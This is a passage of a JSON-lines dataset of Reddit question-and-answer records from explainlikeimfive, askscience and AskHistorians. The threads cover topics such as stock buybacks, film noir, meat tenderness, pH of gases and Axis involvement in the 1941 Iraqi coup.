fruition, largely due to the immense political and economic cost of the scheme.  \n\n\nGenerally, most Imperial Federationists limited their vision to the existing Empire. However, a small fringe advocated for the union of all \"Anglo-Saxon\" nations, united by their racial heritage, language, and similar legal system into a dominant super-state. One such proponent was the Liberal MP Charles Dilke, who in the 1860s wrote a book *Greater Britain* his travels through the British Empire and the United States, filled with frequent musings about the similarities of the two cultures and his hope they would one day unite. Another is the infamous Cecil Rhodes, who included Americans in the Rhodes Scholarship in the hope that the American elite would be exposed to British culture and bring their newfound Anglophillia back to the United States. As Rhodes' Last Will and Testament Stated, \u201cI \u2026 desire to encourage and foster an appreciation of the advantages which I implicitly believe will result from the union of the English-speaking peoples throughout the world...\". Likely, Conan Doyle (a noted fanboy of the British Empire) fit into this camp, and was musing through Holmes about just how great an Anglo-American union would be.  \n\n\nIf you're looking for an academic work that touches on this, I would check out Duncan Bell's *The Idea of Greater Britain: Empire and the Future of the World Order 1860-1900*, which is a pretty detailed (if a little dry) summary on the various schemes and concepts that Imperial unionists came up with in the late nineteenth/early twentieth centuries. If you want to get really into it (and if your local university library has copies), I would check out Dilke's *Greater Britain* or J R Seeley's *The Expansion of England*, which was (at the time) a wildly successful and influential look into British Imperial history which the author used in part to argue for Imperial Union."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5eztyn", "title": "why the major networks(abc, cbs, nbc) no longer have saturday morning cartoons.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5eztyn/eli5why_the_major_networksabc_cbs_nbc_no_longer/", "answers": {"a_id": ["dagbqrd", "daggbzd"], "score": [11, 4], "text": ["Cartoon Network \nDisney Channel's\nNickelodeon etc\n\nThese channels dominate the kids tv ratings.\n\nAlso YouTube.  My kids almost exclusively watch YouTube (8 & 7).  But we cut the cord about 2 years ago. If we had a subscription based \"set top\" like DTV, or Dish, I have no doubt my kids would watch Cartoon Network.  ", "Cable television.\n\nThe broadcast networks are regulated by the FCC and have rules applied to them about the number of advertisements they can have for toys. There are also rules about making it clear to children when the show is ending and commercials begin (\"After these messages, we'l be right back...\").\n\nSo you probably recall Saturday morning TV having three types of commercials: toys, breakfast cereal, and restaurants (Ronald McDonald and the like). But the toy commercials are the most profitable, because it's the best way to hit the target market.\n\nCable TV isn't regulated for content by the FCC, so they don't have restrictions on the number of toy ads. So, it's more profitable to put the shows on cable. This led to the decline and eventual elimination of broadcast network Saturday morning cartoons."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "meb0u", "title": "why don't plastic oven bags melt but plastic bags melt in microwaves?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/meb0u/eli5_why_dont_plastic_oven_bags_melt_but_plastic/", "answers": {"a_id": ["c307u5c", "c307u5c"], "score": [4, 4], "text": ["So here's a complete educated guess (I don't study materials sciences or thermo physics, but know a bit about heat transfer and plastics):\n\nThere are 3 major things at play:\n\nPlastics are all very different, they can engineer them to be very soft, very hard, transparent, opaque, etc. The very soft ones tend to melt at lower temperatures, while the harder ones are higher temperatures. Cellophane shrink wrap will shrink in the oven, but probably not in a microwave by itself (interestingly if you keep it supported in the oven however it's fine - ie, if you line a cake pan with it, and cook a cake/meatloaf in that pan.. it will *not* melt where it's between the pan and cake/meatloaf) \n\nOvens are conductive or convective heat - they heat up the air in the oven, and the air heats up the materials inside very evenly. The plastic in those 'oven bags' are likely made to withstand a certain temperature and expand/contract very evenly with even heat. You can stick your hand inside an oven at 400 degrees without getting burned because it takes a long time for your hand to absorb the heat off the air.\n\nMicrowaves on the other hand are radiative heat - they directly heat the material in the microwave by shooting radiation through it, and during that process some of the energy of radiation is absorbed by the material as heat.\n\nSomething in the plastic bag (likely the paint, not the plastic) is slightly radio-opaque to the microwaves, and therefore absorbs more energy of the wave. You can of course engineer a plastic to be radio-transparent, which you'll also notice is usually clear plastic, since inks and dyes are more likely to be radio-opaque. You can also engineer a plastic to be very radio-opaque, such as those 'microwave crisper' pads - as far as I know they do this by putting some kind of metallic dust inside the temperature-resistive plastic.\n\nIt's also worth noting microwaves have 'hot spots' (hence why they have that turn table)  - so the bag will unevenly get very hot in one concentrated spot instead of all over like in an oven.\n\n\nedit:::\n\nAdditionally - a lot of the time, melted plastic in a microwave is not directly related to the microwaves heating the plastic, but heating something that is touching the plastic.", "So here's a complete educated guess (I don't study materials sciences or thermo physics, but know a bit about heat transfer and plastics):\n\nThere are 3 major things at play:\n\nPlastics are all very different, they can engineer them to be very soft, very hard, transparent, opaque, etc. The very soft ones tend to melt at lower temperatures, while the harder ones are higher temperatures. Cellophane shrink wrap will shrink in the oven, but probably not in a microwave by itself (interestingly if you keep it supported in the oven however it's fine - ie, if you line a cake pan with it, and cook a cake/meatloaf in that pan.. it will *not* melt where it's between the pan and cake/meatloaf) \n\nOvens are conductive or convective heat - they heat up the air in the oven, and the air heats up the materials inside very evenly. The plastic in those 'oven bags' are likely made to withstand a certain temperature and expand/contract very evenly with even heat. You can stick your hand inside an oven at 400 degrees without getting burned because it takes a long time for your hand to absorb the heat off the air.\n\nMicrowaves on the other hand are radiative heat - they directly heat the material in the microwave by shooting radiation through it, and during that process some of the energy of radiation is absorbed by the material as heat.\n\nSomething in the plastic bag (likely the paint, not the plastic) is slightly radio-opaque to the microwaves, and therefore absorbs more energy of the wave. You can of course engineer a plastic to be radio-transparent, which you'll also notice is usually clear plastic, since inks and dyes are more likely to be radio-opaque. You can also engineer a plastic to be very radio-opaque, such as those 'microwave crisper' pads - as far as I know they do this by putting some kind of metallic dust inside the temperature-resistive plastic.\n\nIt's also worth noting microwaves have 'hot spots' (hence why they have that turn table)  - so the bag will unevenly get very hot in one concentrated spot instead of all over like in an oven.\n\n\nedit:::\n\nAdditionally - a lot of the time, melted plastic in a microwave is not directly related to the microwaves heating the plastic, but heating something that is touching the plastic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "99x33d", "title": "corporate stock buyback and how that's affecting stock prices?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/99x33d/eli5_corporate_stock_buyback_and_how_thats/", "answers": {"a_id": ["e4r059d", "e4r0jzw", "e4r643n", "e4rbcqv"], "score": [3, 11, 2, 3], "text": ["Buybacks will tend to drive up the price of shares. People become more interested in buying the shares because the prospect of a buyback becomes a lucrative way of earning a return on them. Buybacks also fairly obviously restrict the quantity of shares available, which drives up price.", "Lets say that a company, Widgets Incorporated, has a thousand shares of stock that various people own.   The company will pay dividends every quarter on that stock.\n\nSo the company is doing well, and the board decides to do a stock buyback.   The normal price of the stock is around 10 bucks a share, so they decide to do a stock buyback at 13 dollars a share.   Half of the owners decide to sell back to the company so 500 shares are out of circulation, so no more dividend expense every quarter to take care of those shares.\n\nPlus, the price of the shares is now at least 14 dollars, no one will sell for 10 anymore, as if they own shares they know they could sell it to the company for 13, so that becomes the bottom price it will be, and it can only go up from there.   \n\nSo the board has accomplished two very good things, they have lowered their quarterly dividend \"expenses\" and they have raised the average price of their stock.   \n\nThe cost however, is large.  Takes a lot of money to buy back that stock, but if you think of it in the same way as buying a new machine that could both save you money and make you money at the same time, the expenditure sometimes makes sense.   The board just has to weigh the cost savings vs the cost expenditure to decide whether a stock buyback makes sense.", "Buybacks reduce the number of shares among which the market cap is divided, so in theory the price should increase if investors still agree that the P/E should be the same.\n\nSay that you have a company worth $100 market cap and there are 100 shares each worth $1. Now, the company does a 20% buy back, reducing the number of shares to 80. But the company itself should still be worth $100, so the value of each share should rise to $1.25.", "Let's say you have a company who's only asset is one $100 bill.  The company has ten shares, and the market rationally values those shares at $10 each.\n\nThe company decides to put their money in the bank, and due to amazingly high round-numbered interest rates, earns $10 interest in that year.  At the end of the year, the company has to decide what to do with that extra $10.  Their choices are:\n\n1. Keep the $10, and reinvest in growing the business.  Since the company now has $110, you'd expect each of the 10 shares to go up in price to $11.\n2. Give the $10 back to the shareholders in the form of a dividend.  Each shareholder gets $1 in dividends, and are back to where they started (owning 1/10th of a company worth $100, with $10 shares).\n3. Since the shares are now worth $11, spend $11 on buying one share and destroying it.  Now you have a company that is worth $99, but with 9 shareholders -- meaning each share is worth $11.\n\nIf they choose 1, the company is saying \"we think our shareholders will be happier if we keep the money than if we give it back to them.\"  If they choose 2 or 3 the company is saying \"we think our shareholders have better uses for the money than we do.\"\n\nWhy would a company choose a buyback (3) over a dividend (2)?  The usual reason in the US is taxes:  a dividend gets taxed right away, while a buyback can delay taxes until you sell your shares (capital gains).  Depending on your tax situation, this might be quite desirable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1u5jja", "title": "If you were to hang a wrinkled shirt in a wardrobe, would it ever become unwrinkled over time via gravity?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1u5jja/if_you_were_to_hang_a_wrinkled_shirt_in_a/", "answers": {"a_id": ["ceeze0t", "cef2sy5"], "score": [7, 2], "text": ["Fashion Student here.\n\nI think it would largely depend on the fabric. For example, if I were to get fabric pleated it would be important for it to be polyester, or have a polyester mix otherwise the pleats would fall out.\n\nSo, I think that if the shirt is cotton or wool then the creases would eventually disappear, but if it was a poly mix it could be more permanent. ", "I think another way of asking this question is I hang a spring on a planet will it stretch itself eventually. Of course the answer like many questions is it depends...\n\nIn the case of a spring we should consider how far from equilibrium it is. If you have stretched it just a little bit then internally its not likely to do much. If you have stretched it non-linearly then internal movement of atoms and plastic deformation is likely occurring.\n\nSo I think that the answer is if the mass of the shirt is enough to stretch the fabric out. It wouldn't fit you anymore but it would get rid of the wrinkles. \n\nCompressing an object seems just the inverse and equally valid. So if I stand an iron rod up on its end it will never really flatten itself out due to just gravity. I can't think of anything very solid that would flatten itself with our gravity. Though the border between solid and liquid could be in play here. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ywlo8", "title": "When I first get in the shower, if I keep my feet in the same spot for a few minutes, they want to stick to the floor.  What is going on here?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ywlo8/when_i_first_get_in_the_shower_if_i_keep_my_feet/", "answers": {"a_id": ["c5zmpk9"], "score": [19], "text": ["For science you should try doing this for the same duration without any water."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7jzxe1", "title": "what causes a brain for someone with a certain condition, to get \u201cstuck\u201d at a mental age much lower than their actual age?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7jzxe1/eli5_what_causes_a_brain_for_someone_with_a/", "answers": {"a_id": ["drajmr4", "drbh9d0"], "score": [22, 3], "text": ["When someone has a disorder that causes them to have diminished mental capacity, what's going on isn't really that they are 'stuck' at that age.  Someone who might be described as \"having the mental capacity of an 8 year old\" does not actually have the mind of an 8 year old.\n\nThis is simply a convenient, simplified way of expressing how much mental capacity someone has.  It's easy for everyone to understand, because most people have at least an approximate idea of how much mental capacity an 8 year old has.\n\nDisorders that cause diminished mental capacity usually do so because the development of the brain is impaired.  But development of the brain being impaired doesn't mean that the brain is \"stuck\" at a certain developmental stage.  Consider a physical developmental abnormality like spina bifida.  A person with spina bifida definitely has reduced physical capacity compared to an unimpaired person of the same age.  Their body is clearly not 'stuck' at a younger developmental age, however, it simply has developed abnormally in a way that causes them to be impaired.  Developmental disorders that affect mental capacity are no different.  The \"mind of an X-year-old\" thing is just a way of trying to express how severe the impairment is.", "\"Mental Age\" is somewhat of an old statistic from the Stanford-Binet Intelligence Scale developed for the sake of identifying children who may need additional help. If you had a certain test rated out of 100, and you expected 8-year-olds to get 80/100 out of it, then 80/100 is your standard for 8-year-olds. If you expect 6-year-olds to get 60/100 on it, then 60/100 is your standard for 6-year-olds.\n\nSo let's say an 8-year-old comes in and gets 60 on your test. You would say they have a \"chronological age\" of 8, and a \"mental age\" of 6, suggesting they're behind their peers. This is all mental age ever meant--it was used to identify students who were intellectually delayed. Now, we treat these topics with more sophistication than a singular statistic--we break intelligence down into many different subcategories to identify where someone might be lacking."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2nqbl7", "title": "Is it coincidence that the earth's tilt is synchronized with its orbital apsides?", "selftext": "The solstices are at the aphelion and perihelion of the earth's orbit. Is this coincidence? Why can't the axial tilt be toward the sun at a random part of the orbit?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2nqbl7/is_it_coincidence_that_the_earths_tilt_is/", "answers": {"a_id": ["cmfy3u3"], "score": [23], "text": ["They aren't synchronized. [Perihelion occurs in early January and aphelion in early July](_URL_1_), about 2 weeks away from the solstices. Due to [axial and apsidal precession](_URL_3_) (these are two of the [Milankovich cycles](_URL_2_)), the perihelion and aphelion change with respect to the solstices. So the date of the perihelion cycles around the calendar every 21,000 years or so. It is moving forward with respect to our calendar (later in the year) over time: [back in the year 1246](_URL_0_) was the last time the Northern Hemisphere winter solstice coincided with perihelion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://calendars.wikia.com/wiki/Category:Astronomical_epochs#Apsidal_Precession", "http://www.astropixels.com/ephemeris/perap2001.html", "http://www.ncdc.noaa.gov/paleo/milankovitch.html", "https://www.youtube.com/watch?feature=player_embedded&amp;v=m6lMGoZTJnc"]]}
{"q_id": "7viwwo", "title": "How did cars come to be called \"cars\"?", "selftext": "When Henry Ford introduced the world's first practical car in the early 1900s with the Model T, they were, for quite some time, referred to as automobiles. How, over time, did that name transition into the everyday word \"car\" that we have been using for nearly 100 years now?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7viwwo/how_did_cars_come_to_be_called_cars/", "answers": {"a_id": ["dtt3mcl"], "score": [28], "text": ["The word car was already common long prior to the invention of the automobile. It originally was another word for carriage or cart, from the french carr. It seems that it was a sort of generic word for the part of a horse-drawn conveyance that one rode in, as in \"I'll hire a horse and car.\" \n\nIn the 19th century, the definition of the word car expanded to encompass the parts of other kinds of conveyances that people rode in, such as the basket of a balloon or airship or the passenger compartment of an elevator. It also became a common descriptor of railroad cars, including streetcars. Finally, to the street car and railroad car were joined the motor car, which was shortened to car and became the car we all know. (Main source: Oxford English Dictionary)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18eab4", "title": "Did travelers on the Overland Trails ever actually \"caulk the wagon and float it across?\" ", "selftext": "I have read quite a few trail diaries and letters (almost all women's, though, if that makes a difference), and I don't recall one instance of this happening. \n\nI do seem to vaguely recall a diary that mentioned lashing to wagon boxes together to make a raft, but I can't remember where I might have read that.\n\nI'm not saying \"it didn't happen,\" but I was wondering if anybody else who is familiar with this subject knows of any specific instances where this method was used.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18eab4/did_travelers_on_the_overland_trails_ever/", "answers": {"a_id": ["c8e2ox4", "c8e2wh2"], "score": [2, 9], "text": ["I hate to be this guy, but a simple Google search brought up a TON of relevant material, as well as pictures of Conestoga wagons crossing rivers. Check the internet out before posting to this subbreddit if all you have is a yes/no history question.", "Certainly, it's well attested, for instance by [Abigail Scott Duniway](_URL_1_) (n\u00e9e Abigail Jane Scott) whose party sent two caulked wagons across the Snake River on August 15, 1852.\n\nHer account is [available online here](_URL_0_) (*Covered Wagon Women: 1852, the Oregon Trail*, by K.L. Holmes, 1997, p. 109).\n\n > Aug 15th Sabbath day we are encamped on the banks of the \"Snake\", the weather oppressively hot. We shall remain here until morning  &  then resume our toilsome journey. Today 5 of our company concluded to go on by water. They accordingly fitted up two wagon beds for the purpose and launched them in to the \"Snake\" they seem to answer a good purpose and if no accident befalls them they will reach the dalles in ten days or less."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://books.google.se/books?id=fo53xWqUkYYC&amp;pg=PA109&amp;dq=caulk+wagon&amp;hl=sv&amp;sa=X&amp;ei=mb0aUcfHH5T34QSQxYH4Ag&amp;redir_esc=y#v=onepage&amp;q=caulk%20wagon&amp;f=false", "http://en.wikipedia.org/wiki/Abigail_Scott_Duniway"]]}
{"q_id": "3jpwzf", "title": "Did the Nazis have any plans for the Jewish holy sites in Jerusalem in the event of taking the city?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3jpwzf/did_the_nazis_have_any_plans_for_the_jewish_holy/", "answers": {"a_id": ["curi3e5", "curi74g", "curjbjv", "curodze"], "score": [230, 38, 226, 186], "text": ["I would like to expand onto this question, what were the axis powers plans for the middle east.", "Also was the UK anticipating having to defend the area from Nazis?", " Please, no more short, terrible answers. Remember [the rules](_URL_0_). As was explained in the excellent recent meta post on [\"What it means to post a good answer in /r/AskHistorians\"](_URL_1_):\n\nIf you're choosing to answer a question in /r/AskHistorians, there are three questions you should ask yourself first in turn:\n\n1. Do I, personally, actually know a lot about the subject at hand?\n\n2. Am I essentially certain that what I know about it is true?\n\n3. Am I prepared to go into real detail about this?\n\nAnd also:\n\nDo not post hopelessly incomplete answers based on a skimming of a Wikipedia article just because nobody has yet replied after a few hours. ", "I have not seen any concrete evidence to suggest Germany wished to *invade* Jerusalem, rather there were meetings and discussions to send German Jews *to* jerusalem, in an attempt to remove them from Europe and Palestine, which is important to note. Though the Germans weren't actively pursuing an occupation of the Middle East, they certainly didn't mind a de-stabilization of the region. There was a series of Iraqi coups in in the pre-war era against the British supported regency, and then another in 1941 staged by the Grand Mufti, Haj Amin El Husseini. He wanted to destabilize the Middle East and used WW2 as the catalyst to initiate a revolt since British troops were tied up fighting the Axis in Europe and North Africa. \n\nAt the Nuremburg trials, the official transcritps revealed that Adolf Eichmann held meetings with the Mufti when he visited Palestine in 1937 where they discussed removal of German Jews to Palestine in the event of an Arab take-over. He also sent several emissaries and travelled himself to Berlin in 1940.\n\nThe Mufti wrote in his memoirs:\n\n\"Our fundamental condition for cooperating with Germany was a free hand to eradicate every last Jew from Palestine and the Arab world. I asked Hitler for an explicit undertaking to allow us to solve the Jewish problem in a manner befitting our national and racial aspirations and according to the scientific methods innovated by Germany in the handling of its Jews. The answer I got was: 'The Jews are yours.\" \n\nThe Mufti was forced to flee Palestine in 1939 after the British made him a high-profile target and began his movement to revolt in Iraq, which was already largely anti-British. The Iraqi government funded the Mufti and he rapidly gained popular support. On April 1, 1941, the Mufti and his \"Golden Square\" (four pro-Axis staff officers: Salah al-din al Sabag, Fahmi Said, Mahmud Salman and Kemal Shabib) staged the coup, and  appointed Rashid 'Ali al-Keilani head of the government, as the British supported regency were forced to flee. On April 3, a letter from the German Secretary of State Von Weizacker answered a request for military aid from Chief of staff Haddad \"favorably.\"\n\nIt is reported that Hitler approved military aid to the Iraqi revolt in the sum of \"some 15,000 rifles and about 800 machine guns. Arms were shipped from Saloniki and through Turkey and Syria. The shipments from Syria were sent as a consequence of the agreement between the Vichy leader Darlan and Hitler as to general collaboration between Vichy and Germany.\"\n\nThe Axis did provide military support in a very limited role. Despite difficulty in sending supplies, the Germans did manage to send 4 Bf110 twin engine fighters and 7 He111 bombers which arrived in Vichy Syria on 13-14 May 1941, and attacked the RAF airfield at Habbaniya immediately on arrival.\n\nSo to answer your question, no the Germans did not have any plans for occupying Jerusalem, but they did see opportunity to destabilize the region. The Italians, however, did want to conquer the Middle East. This is very important, as it falls under Mussolini's envisioned \"glory of the Roman Empire,\" often called *Mare Nostrum.* During the revolt, Mussolini sent 12 Fiat CR.42 Falco's that actively engaged the RAF on numerous occasions.  this is important because it was still early war, and had the Italians been successful in the Egyptian invasion, they certainly had their sights to move into the Middle East and recreate the *Mare Nostrum* of the Roman Empire. In fact, the *Ciano Diaries* reveal that the Italians had been funding the Mufti since 1936, around the origin of the Arab unrest. The Italains had a particular interest in the region, and though information is scarce, it does indicate that the Middle East was on the list of Italian imperial targets.  \n\n\n\n*Sources:*\n\n\nBarrie, James G. *Hitlers Gulf War,* Pen  &  Sword Books Limited. London, 2010\n\n\n\n*[Wiki Page](_URL_0_)*\n\n\nBurgwyn, James H. *Mussolini Warlord: Failed Dreams of Empire, 1940-1943*, Enigma Publications. \n\n_URL_1_\n\nOfficial Nuremberg transcript detailing Eichmann and the Grand Mufti's relationship: _URL_2_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/AskHistorians/wiki/rules", "http://www.reddit.com/r/AskHistorians/comments/1jsabs/what_it_means_to_post_a_good_answer_in/"], ["https://en.wikipedia.org/wiki/1941_Iraqi_coup_d'%C3%A9tat#Axis_support_for_the_nationalists", "http://www.mideastweb.org/iraqaxiscoup.htm", "http://www.nizkor.org/hweb/people/e/eichmann-adolf/transcripts/Sessions/Session-016-03.html"]]}
{"q_id": "5iin2w", "title": "Books about Joan of d'Arc.", "selftext": "What do you consider best works about Joan of Arc? I happened to be really exited about that topic recently and I want to read about her, but I don't want to waste my time on semi-novelized kind of books.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5iin2w/books_about_joan_of_darc/", "answers": {"a_id": ["db8fszg", "db8i197"], "score": [9, 3], "text": ["It's Jeanne d'Arc in French or Joan of Arc in English; Joan of d'Arc translates to 'Joan of of Arc'. \n\nHelen Castor's *Joan of Arc: A History* just came out this year and has been well-received, though I haven't read it yet. \n\nR\u00e9gine Pernoud's *Joan of Arc: Her Story* remains, I think, the best popular work on the subject. ", "I really like Ann Astell's, [*Joan of Arc and Sacrificial Authorship*](_URL_0_). This is a book on various people who have interpreted St. Joan's story, but it's interesting nonetheless."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://undpress.nd.edu/books/P00861"]]}
{"q_id": "2k0y8w", "title": "what makes a film a \"film noir\"?", "selftext": "What are the \"ingredients\" please? Are there key themes? What are they?  Please ELI5 because I don't have the language to understand academics. Thank you!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2k0y8w/eli5_what_makes_a_film_a_film_noir/", "answers": {"a_id": ["clgw9ej", "clgw9h6", "clgzr54", "clhgkms"], "score": [17, 10, 3, 2], "text": ["Film Noir is an artistic movement. It started in the 1940s when screenplays inspired by American crime fiction were brought to the screen, primarily by European directors.\n\nThe films share a certain storytelling: highly stylized, overtly theatrical, with imagery from an earlier era of German \u201cexpressionism\u201d (a movement that started before WWI that rejected realism).\n\nTo this day the debate goes on as to whether \u201cnoir\u201d is a film genre defined by its content, or a style of storytelling or identified by its visual attributes.", "The definition is fuzzy, but a film noir movie usually:\n\n* is a crime drama\n* has cynical and often morally ambivalent characters, where the heros and villains are not all the different\n* film techniques involving low lighting and off balanced composition, often resulting in a gritty, stylized ugliness that makes the more seem more real, even if the plot itself is fanciful\n\nPerhaps it is easier to define noir by what it is not.  During its heyday in the 1940s and 1950s, movies were often shallow and formulaic, with a dashing, morally certain hero who always did the right thing saving the fair damsel in distress from the clutches of the mustache twirling villain.\n\nFilm noir was a rejection of this simplistic world view that sought to portray the ugliness and moral ambiguity of the world.", "If you're interested in noir movies, why not try neo-noir: _URL_0_", "Ingredients of a \"Film Noir\" are that the stories revolve around crime and morality. The protagonist in film noir are mostly flawed, seeking redemption in some way. They have femme fatale who betray the protagonist. Most film noirs have a twist ending. Most film noirs also have dialogues that are very one-lined and it's almost like everyone speaks with the best choice of words and the best one-liners. These are mostly the inner ingredients of the Film Noir. The main reason why this genre is one of the most distinguishable ones is because of it's visual ingredients. Which happens to be, uses of silhouettes, quirky camera angles (dutch angle), the placing of the lights, the claustrophobic atmosphere and locations, constant smoking of cigarettes. Mostly detective thrillers fit very much perfectly in this genre .  Oh, yes also they have narrations, most do."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=uM7E0XGiyrc"], []]}
{"q_id": "4kt6wd", "title": "what makes a cut of meat tender? does it have to do more with the way the meat is cut/cooked? or more with the way the animal was raised /fed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4kt6wd/eli5_what_makes_a_cut_of_meat_tender_does_it_have/", "answers": {"a_id": ["d3hlszu"], "score": [13], "text": ["The main reason a cut of meat is tender or not is the amount of connective tissue in the meat. Every muscle fiber has a sheath of connective tissue around it, but the muscles that work hardest have tougher sheaths, to support those muscles. You can think of them like a weight lifter's belt - they don't add to the muscle's power, but help its stability and strength.\n\nLooking at a cow, pig, or sheep, you can see the muscles around the neck and shoulder do a lot of work, lifting and lowering the head as it goes up and down all day long, grazing on food on the ground. On the other hand the tenderloin just helps the shape of the spine, but it doesn't stretch and contract all day long doing work. The muscles in the shoulder and neck have lots of connective tissue, but the tenderloin has hardly any. You can cook the tenderloin briefly until it's pink and it will be tender and delicious, but you really need to slow cook the shoulder.\n\nWhen you're slow cooking, what you're doing is giving the connective tissue a chance to break down. First it contracts tight, then it breaks down and relaxes. You need to get it to fairly high temperature and keep it there for a while, so you won't be able to get pink meat out, but the tissue itself provides some degree of succulence once it is broken down.\n\nWhen you cook otherwise tender meat to the point of greyness, what you're actually doing is making these sheaths around the muscles squeeze out all the juices from inside the meat, which results in a dense, tough piece of meat. So cook a tender cut briefly, and a tough cut low and slow."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4e7kl5", "title": "How are strong magnets shipped and what steps need to be taken to secure them?", "selftext": "I always wondered how neodymium magnets are handled as to not stick together or create some sort of catastrophic attraction into on big lump at the manufacturing plant and during shipping. I would imagine a large number of strong magnets in one place would create major logistical problems. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4e7kl5/how_are_strong_magnets_shipped_and_what_steps/", "answers": {"a_id": ["d1yfdzg", "d2gy0fo"], "score": [7, 2], "text": ["It will depend on the size and strength of the magnet, but there are a few ways we deal with it. Magnetic field decreases with the cube of distance, so a very powerful magnet can still be handled by maintaining a certain distance from magnetic surfaces or other magnets, which can be achieved with appropriate packaging (strong magnets also have to be labeled as such during shipping so they can be handled properly). You can also line the interior of the magnet's crate with shielding materials that will reduce the magnetic field outside of the crate. For relatively small but strong magnets, magnet suppliers [have guidelines](_URL_0_) on how to separate magnets that can't be directly pulled apart. As a random aside, magnets over a certain strength can't be shipped by air; even with proper shielding and separation, there's too much risk that the magnets will disrupt the aircraft's instruments.\n\nAlso remember that magnets have to go through a magnetization process during manufacturing--before that, they're just normal pieces of metal. While the most common magnetization method involves heating metal to its Curie temperature and applying a strong field, there are \"cold\" magnetization methods. I don't know if this is done in practice, but a very strong magnet could be put into place (a permanent magnet MRI machine, for instance) before it is magnetized, allowing it to be more easily handled. Then, once it's ready to be installed, it might be possible to magnetize it in the field by a different method than the normal heating process. Again, I don't know if this is done in reality, but I think it theoretically could be done.\n\nIncidentally, this is why electromagnets are preferred for strong magnetic applications ;-)", "I did work for an electric motor distributor.  So shipping enormous magnets was part of the job.  And I did my time on the loading dock and sometimes doing deliveries.\n\nIt was not rare to strap a single part to the center of a pallet covered in bubble wrap, with plastic, or even metal tie downs.  Sometimes you could just put them in a box, but it would have to be over sized and filled with foam peanuts.\n\nSo you are correct, they are shipped with a level of caution that isn't applied to shipping something normal.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.kjmagnetics.com/blog.asp?p=separating-magnets"], []]}
{"q_id": "4sbgn6", "title": "Do gases have a pH level?", "selftext": "I've only heard of liquids getting tested for pH levels, but if pH is just a measure of H^+ / OH^- concentrations, does that mean that solids and gases can also have pH?  If so, how do you measure the pH of a solid or gas?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4sbgn6/do_gases_have_a_ph_level/", "answers": {"a_id": ["d581q34", "d5854sl", "d585i91", "d58v02n"], "score": [14, 3, 5, 2], "text": ["No, because acids and bases only \"emit\" these ions (acids start with H in their formula and Bases end with OH in theirs) when dissolved in water. This is the same with electrolytes, since ionic compounds \"emit\" (there's gotta be a better word for this) their own ions when dissolved.\n\nThis is a very simplified version though, so I'm not the one to ask if you have more in-depth questions (questions that most degree holders can only answer) so it's best to get my post seconded or rejected by a real expert.", "No, by definition, pH is the acidity of aqueous solutions. So it's even narrower than liquids. It's exclusively for hydrogen activity where water is the solvent. ", "pH is defined as the concentration of hydrogen ions in aqueous solutions (i.e. the solvent is water), so by definition, no, gases and solids don't have a pH. As /u/just_a_beaver mentioned, acids and bases, or electrolytes in general, will normally only dissociate in solution to become positive and negative free ions. Water, which is a polar solvent, will then orient its molecules to stabilize the ions.", "I'm going to go against the grain and say **yes**, gasses can have a pH level/scale if you carefully define how it works. Autodissociation of a compound to produce H^+ can theoretically occur in any state of matter, in any hydrogen-bearing compound, even if it takes ages for a single ion to form, only to be neutralized almost immediately. See [here](_URL_0_) for more."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.ut.ee/EACH/a-universal-ph-scale-for-all-phases/"]]}
{"q_id": "5gfa3h", "title": "why do people mimic other people's sentences in a mocking tone when they're annoyed/frustrated?", "selftext": "For example, if someone were to say \"I can't believe you've done this\" and I were to repeat that in a mocking tone because I'm annoyed/frustrated/angry.\n\nWhat is the psychology behind this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gfa3h/eli5_why_do_people_mimic_other_peoples_sentences/", "answers": {"a_id": ["daru6l5"], "score": [3], "text": ["It takes away the power of their statement.  If \"mom\" tells you \"you have to do your homework\" and you say it back to her in a mocking way it's your intention that makes it work.  You've learned from watching other people do it, so you know it will work too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
